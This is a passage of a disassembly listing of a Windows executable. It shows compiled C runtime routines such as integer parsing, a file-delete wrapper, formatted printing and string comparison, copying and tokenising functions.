		jz	short loc_41BEFC
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 58h
		jnz	short loc_41BF05


loc_41BEFC:				; CODE XREF: sub_41BDF0+FFj
		mov	[ebp+arg_8], 10h
		jmp	short loc_41BF0C
; ---------------------------------------------------------------------------


loc_41BF05:				; CODE XREF: sub_41BDF0+10Aj
		mov	[ebp+arg_8], 8


loc_41BF0C:				; CODE XREF: sub_41BDF0+E2j
					; sub_41BDF0+F4j ...
		cmp	[ebp+arg_8], 10h
		jnz	short loc_41BF4B
		movsx	eax, byte ptr [ebp+var_8]
		cmp	eax, 30h
		jnz	short loc_41BF4B
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 78h
		jz	short loc_41BF31
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 58h
		jnz	short loc_41BF4B


loc_41BF31:				; CODE XREF: sub_41BDF0+134j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41BF4B:				; CODE XREF: sub_41BDF0+120j
					; sub_41BDF0+129j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_10], eax


loc_41BF56:				; CODE XREF: sub_41BDF0+26Bj
		cmp	dword_4516A8, 1
		jle	short loc_41BF77
		push	4
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_1C], eax
		jmp	short loc_41BF92
; ---------------------------------------------------------------------------


loc_41BF77:				; CODE XREF: sub_41BDF0+16Dj
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_1C], eax


loc_41BF92:				; CODE XREF: sub_41BDF0+185j
		cmp	[ebp+var_1C], 0
		jz	short loc_41BFA4
		movsx	ecx, byte ptr [ebp+var_8]
		sub	ecx, 30h
		mov	[ebp+var_14], ecx
		jmp	short loc_41C003
; ---------------------------------------------------------------------------


loc_41BFA4:				; CODE XREF: sub_41BDF0+1A6j
		cmp	dword_4516A8, 1
		jle	short loc_41BFC9
		push	103h
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		push	edx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_20], eax
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41BFC9:				; CODE XREF: sub_41BDF0+1BBj
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 103h
		mov	[ebp+var_20], edx


loc_41BFE6:				; CODE XREF: sub_41BDF0+1D7j
		cmp	[ebp+var_20], 0
		jz	short loc_41C001
		movsx	eax, byte ptr [ebp+var_8]
		push	eax
		call	sub_4248D0
		add	esp, 4
		sub	eax, 37h
		mov	[ebp+var_14], eax
		jmp	short loc_41C003
; ---------------------------------------------------------------------------


loc_41C001:				; CODE XREF: sub_41BDF0+1FAj
		jmp	short loc_41C060
; ---------------------------------------------------------------------------


loc_41C003:				; CODE XREF: sub_41BDF0+1B2j
					; sub_41BDF0+20Fj
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+arg_8]
		jb	short loc_41C00D
		jmp	short loc_41C060
; ---------------------------------------------------------------------------


loc_41C00D:				; CODE XREF: sub_41BDF0+219j
		mov	edx, [ebp+arg_C]
		or	edx, 8
		mov	[ebp+arg_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_10]
		jb	short loc_41C033
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_10]
		jnz	short loc_41C042
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	[ebp+var_14], edx
		ja	short loc_41C042


loc_41C033:				; CODE XREF: sub_41BDF0+22Cj
		mov	edx, [ebp+var_C]
		imul	edx, [ebp+arg_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_C], edx
		jmp	short loc_41C04A
; ---------------------------------------------------------------------------


loc_41C042:				; CODE XREF: sub_41BDF0+234j
					; sub_41BDF0+241j
		mov	eax, [ebp+arg_C]
		or	al, 4
		mov	[ebp+arg_C], eax


loc_41C04A:				; CODE XREF: sub_41BDF0+250j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_41BF56
; ---------------------------------------------------------------------------


loc_41C060:				; CODE XREF: sub_41BDF0:loc_41C001j
					; sub_41BDF0+21Bj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		and	edx, 8
		test	edx, edx
		jnz	short loc_41C088
		cmp	[ebp+arg_4], 0
		jz	short loc_41C07F
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C07F:				; CODE XREF: sub_41BDF0+287j
		mov	[ebp+var_C], 0
		jmp	short loc_41C0FA
; ---------------------------------------------------------------------------


loc_41C088:				; CODE XREF: sub_41BDF0+281j
		mov	ecx, [ebp+arg_C]
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_41C0C2
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jnz	short loc_41C0FA
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41C0AF
		cmp	[ebp+var_C], 80000000h
		ja	short loc_41C0C2


loc_41C0AF:				; CODE XREF: sub_41BDF0+2B4j
		mov	ecx, [ebp+arg_C]
		and	ecx, 2
		test	ecx, ecx
		jnz	short loc_41C0FA
		cmp	[ebp+var_C], 7FFFFFFFh
		jbe	short loc_41C0FA


loc_41C0C2:				; CODE XREF: sub_41BDF0+2A0j
					; sub_41BDF0+2BDj
		call	sub_4248A0
		mov	dword ptr [eax], 22h
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jz	short loc_41C0E0
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_41C0FA
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: sub_41BDF0+2E5j
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41C0F3
		mov	[ebp+var_C], 80000000h
		jmp	short loc_41C0FA
; ---------------------------------------------------------------------------


loc_41C0F3:				; CODE XREF: sub_41BDF0+2F8j
		mov	[ebp+var_C], 7FFFFFFFh


loc_41C0FA:				; CODE XREF: sub_41BDF0+296j
					; sub_41BDF0+2AAj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_41C108
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx


loc_41C108:				; CODE XREF: sub_41BDF0+30Ej
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41C11A
		mov	ecx, [ebp+var_C]
		neg	ecx
		mov	[ebp+var_C], ecx


loc_41C11A:				; CODE XREF: sub_41BDF0+320j
		mov	eax, [ebp+var_C]


loc_41C11D:				; CODE XREF: sub_41BDF0+D9j
		mov	esp, ebp
		pop	ebp
		retn
sub_41BDF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C130	proc near		; CODE XREF: sub_401CC1+5988p
					; sub_401CC1+60ACp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41BDF0
		add	esp, 10h
		pop	ebp
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C150	proc near		; CODE XREF: sub_401CC1+514Ep
					; .nsp0:0041C1A7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F133C	; DeleteFileA
		test	eax, eax
		jnz	short loc_41C16D
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_41C174
; ---------------------------------------------------------------------------


loc_41C16D:				; CODE XREF: sub_41C150+10j
		mov	[ebp+var_4], 0


loc_41C174:				; CODE XREF: sub_41C150+1Bj
		cmp	[ebp+var_4], 0
		jz	short loc_41C18B
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_424800
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C18D
; ---------------------------------------------------------------------------


loc_41C18B:				; CODE XREF: sub_41C150+28j
		xor	eax, eax


loc_41C18D:				; CODE XREF: sub_41C150+39j
		mov	esp, ebp
		pop	ebp
		retn
sub_41C150	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_41C150
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1C0	proc near		; CODE XREF: sub_401CC1+50A5p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax


loc_41C1CF:				; CODE XREF: sub_41C1C0+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41C1F3
		push	offset dword_437514
		push	0
		push	38h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C1F3
		int	3		; Trap to Debugger


loc_41C1F3:				; CODE XREF: sub_41C1C0+13j
					; sub_41C1C0+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C1CF


loc_41C1F9:				; CODE XREF: sub_41C1C0+61j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41C21D
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	39h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C21D
		int	3		; Trap to Debugger


loc_41C21D:				; CODE XREF: sub_41C1C0+3Dj
					; sub_41C1C0+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C1F9
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41ECE0
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_424AA0
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_422D70
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_424C00
		add	esp, 8
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41ED50
		add	esp, 4
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41C1C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C290	proc near		; CODE XREF: sub_401CC1+19B4p
					; sub_401CC1+19D3p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C2B1
		xor	eax, eax
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2B1:				; CODE XREF: sub_41C290+1Bj
		mov	eax, edi


loc_41C2B3:				; CODE XREF: sub_41C290+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2C0	proc near		; CODE XREF: sub_401CC1+7D4p
					; .nsp0:00428A26p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C2F1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C2EF
		jz	short loc_41C2F1
		dec	ecx
		dec	ecx


loc_41C2EF:				; CODE XREF: sub_41C2C0+29j
		not	ecx


loc_41C2F1:				; CODE XREF: sub_41C2C0+9j
					; sub_41C2C0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C2C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C300	proc near		; CODE XREF: sub_401CC1+423p
					; sub_401CC1+2A6Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C371
sub_41C300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C310	proc near		; CODE XREF: sub_401CC1+42Cp
					; sub_401CC1+6A40p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C32C


loc_41C31D:				; CODE XREF: sub_41C310+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C35F
		test	ecx, 3
		jnz	short loc_41C31D


loc_41C32C:				; CODE XREF: sub_41C310+Bj
					; sub_41C310+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C32C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C36E
		test	ah, ah
		jz	short loc_41C369
		test	eax, 0FF0000h
		jz	short loc_41C364
		test	eax, 0FF000000h
		jz	short loc_41C35F
		jmp	short loc_41C32C
; ---------------------------------------------------------------------------


loc_41C35F:				; CODE XREF: sub_41C310+12j
					; sub_41C310+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C371
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C371
; ---------------------------------------------------------------------------


loc_41C369:				; CODE XREF: sub_41C310+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C371
; ---------------------------------------------------------------------------


loc_41C36E:				; CODE XREF: sub_41C310+39j
		lea	edi, [ecx-4]


loc_41C371:				; CODE XREF: sub_41C300+5j
					; sub_41C310+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C396


loc_41C37D:				; CODE XREF: sub_41C310+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C3E8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C37D
		jmp	short loc_41C396
; ---------------------------------------------------------------------------


loc_41C391:				; CODE XREF: sub_41C310+9Ej
					; sub_41C310+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C396:				; CODE XREF: sub_41C310+6Bj
					; sub_41C310+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C391
		test	dl, dl
		jz	short loc_41C3E8
		test	dh, dh
		jz	short loc_41C3DF
		test	edx, 0FF0000h
		jz	short loc_41C3D2
		test	edx, 0FF000000h
		jz	short loc_41C3CA
		jmp	short loc_41C391
; ---------------------------------------------------------------------------


loc_41C3CA:				; CODE XREF: sub_41C310+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C3D2:				; CODE XREF: sub_41C310+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C3DF:				; CODE XREF: sub_41C310+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C3E8:				; CODE XREF: sub_41C310+72j
					; sub_41C310+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C310	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C400


loc_41C3F0:				; CODE XREF: sub_41C400+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C400
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C400	proc near		; CODE XREF: sub_401CC1+408p
					; sub_401CC1+4B7p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C3F0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C406:				; CODE XREF: sub_41B890+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C42B


loc_41C418:				; CODE XREF: sub_41C400+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C3F0
		test	cl, cl
		jz	short loc_41C474
		test	edx, 3
		jnz	short loc_41C418


loc_41C42B:				; CODE XREF: sub_41C400+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C436:				; CODE XREF: sub_41C400+61j
					; sub_41C400+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C478
		and	eax, 81010100h
		jz	short loc_41C436
		and	eax, 1010100h
		jnz	short loc_41C472
		and	esi, 80000000h
		jnz	short loc_41C436


loc_41C472:				; CODE XREF: sub_41C400+68j
					; sub_41C400+81j ...
		pop	esi
		pop	edi


loc_41C474:				; CODE XREF: sub_41C400+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C478:				; CODE XREF: sub_41C400+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C4B5
		test	al, al
		jz	short loc_41C472
		cmp	ah, bl
		jz	short loc_41C4AE
		test	ah, ah
		jz	short loc_41C472
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C4A7
		test	al, al
		jz	short loc_41C472
		cmp	ah, bl
		jz	short loc_41C4A0
		test	ah, ah
		jz	short loc_41C472
		jmp	short loc_41C436
; ---------------------------------------------------------------------------


loc_41C4A0:				; CODE XREF: sub_41C400+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C4A7:				; CODE XREF: sub_41C400+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C4AE:				; CODE XREF: sub_41C400+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C4B5:				; CODE XREF: sub_41C400+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C4C0	proc near		; CODE XREF: sub_401CC1+1A5p
					; sub_401CC1+1FCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C50C


loc_41C4D0:				; CODE XREF: sub_41C4C0+3Cj
					; sub_41C4C0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C504
		or	al, al
		jz	short loc_41C500
		cmp	ah, [ecx+1]
		jnz	short loc_41C504
		or	ah, ah
		jz	short loc_41C500
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C504
		or	al, al
		jz	short loc_41C500
		cmp	ah, [ecx+3]
		jnz	short loc_41C504
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C4D0
		mov	edi, edi


loc_41C500:				; CODE XREF: sub_41C4C0+18j
					; sub_41C4C0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C504:				; CODE XREF: sub_41C4C0+14j
					; sub_41C4C0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C50C:				; CODE XREF: sub_41C4C0+Ej
		test	edx, 1
		jz	short loc_41C528
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C504
		inc	ecx
		or	al, al
		jz	short loc_41C500
		test	edx, 2
		jz	short loc_41C4D0


loc_41C528:				; CODE XREF: sub_41C4C0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C504
		or	al, al
		jz	short loc_41C500
		cmp	ah, [ecx+1]
		jnz	short loc_41C504
		or	ah, ah
		jz	short loc_41C500
		add	ecx, 2
		jmp	short loc_41C4D0
sub_41C4C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C550	proc near		; CODE XREF: sub_401CC1+B4p
					; sub_401CC1+D1p ...

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_30], eax
		call	sub_423CF0
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], 0
		jmp	short loc_41C576
; ---------------------------------------------------------------------------


loc_41C56D:				; CODE XREF: sub_41C550+34j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_41C576:				; CODE XREF: sub_41C550+1Bj
		cmp	[ebp+var_C], 20h
		jge	short loc_41C586
		mov	edx, [ebp+var_C]
		mov	[ebp+edx+var_2C], 0
		jmp	short loc_41C56D
; ---------------------------------------------------------------------------


loc_41C586:				; CODE XREF: sub_41C550+2Aj
					; sub_41C550+79j
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		sar	edx, 3
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_2C]
		or	cl, al
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		sar	eax, 3
		mov	[ebp+eax+var_2C], cl
		mov	ecx, [ebp+var_30]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_30]
		add	eax, 1
		mov	[ebp+var_30], eax
		test	edx, edx
		jnz	short loc_41C586
		cmp	[ebp+arg_0], 0
		jz	short loc_41C5D9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		jmp	short loc_41C5E2
; ---------------------------------------------------------------------------


loc_41C5D9:				; CODE XREF: sub_41C550+7Fj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+18h]
		mov	[ebp+var_4], eax


loc_41C5E2:				; CODE XREF: sub_41C550+87j
					; sub_41C550+CFj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_41C621
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_41C621
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_41C5E2
; ---------------------------------------------------------------------------


loc_41C621:				; CODE XREF: sub_41C550+B9j
					; sub_41C550+C4j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	short loc_41C632
; ---------------------------------------------------------------------------


loc_41C629:				; CODE XREF: sub_41C550:loc_41C677j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_41C632:				; CODE XREF: sub_41C550+D7j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_41C679
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_41C677
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_41C679
; ---------------------------------------------------------------------------


loc_41C677:				; CODE XREF: sub_41C550+114j
		jmp	short loc_41C629
; ---------------------------------------------------------------------------


loc_41C679:				; CODE XREF: sub_41C550+EBj
					; sub_41C550+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_4]
		jnz	short loc_41C68E
		xor	eax, eax
		jmp	short loc_41C691
; ---------------------------------------------------------------------------


loc_41C68E:				; CODE XREF: sub_41C550+138j
		mov	eax, [ebp+arg_0]


loc_41C691:				; CODE XREF: sub_41C550+13Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_41C550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C6A0	proc near		; CODE XREF: sub_408E73+1Cp
					; sub_4145FE+19p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax


loc_41C6AF:				; CODE XREF: sub_41C6A0+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41C6D3
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Ah
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C6D3
		int	3		; Trap to Debugger


loc_41C6D3:				; CODE XREF: sub_41C6A0+13j
					; sub_41C6A0+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C6AF


loc_41C6D9:				; CODE XREF: sub_41C6A0+61j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41C6FD
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Bh
		push	offset aVsprintf_c ; "vsprintf.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41C6FD
		int	3		; Trap to Debugger


loc_41C6FD:				; CODE XREF: sub_41C6A0+3Dj
					; sub_41C6A0+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C6D9
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+0Ch], 42h
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_422D70
		add	esp, 0Ch
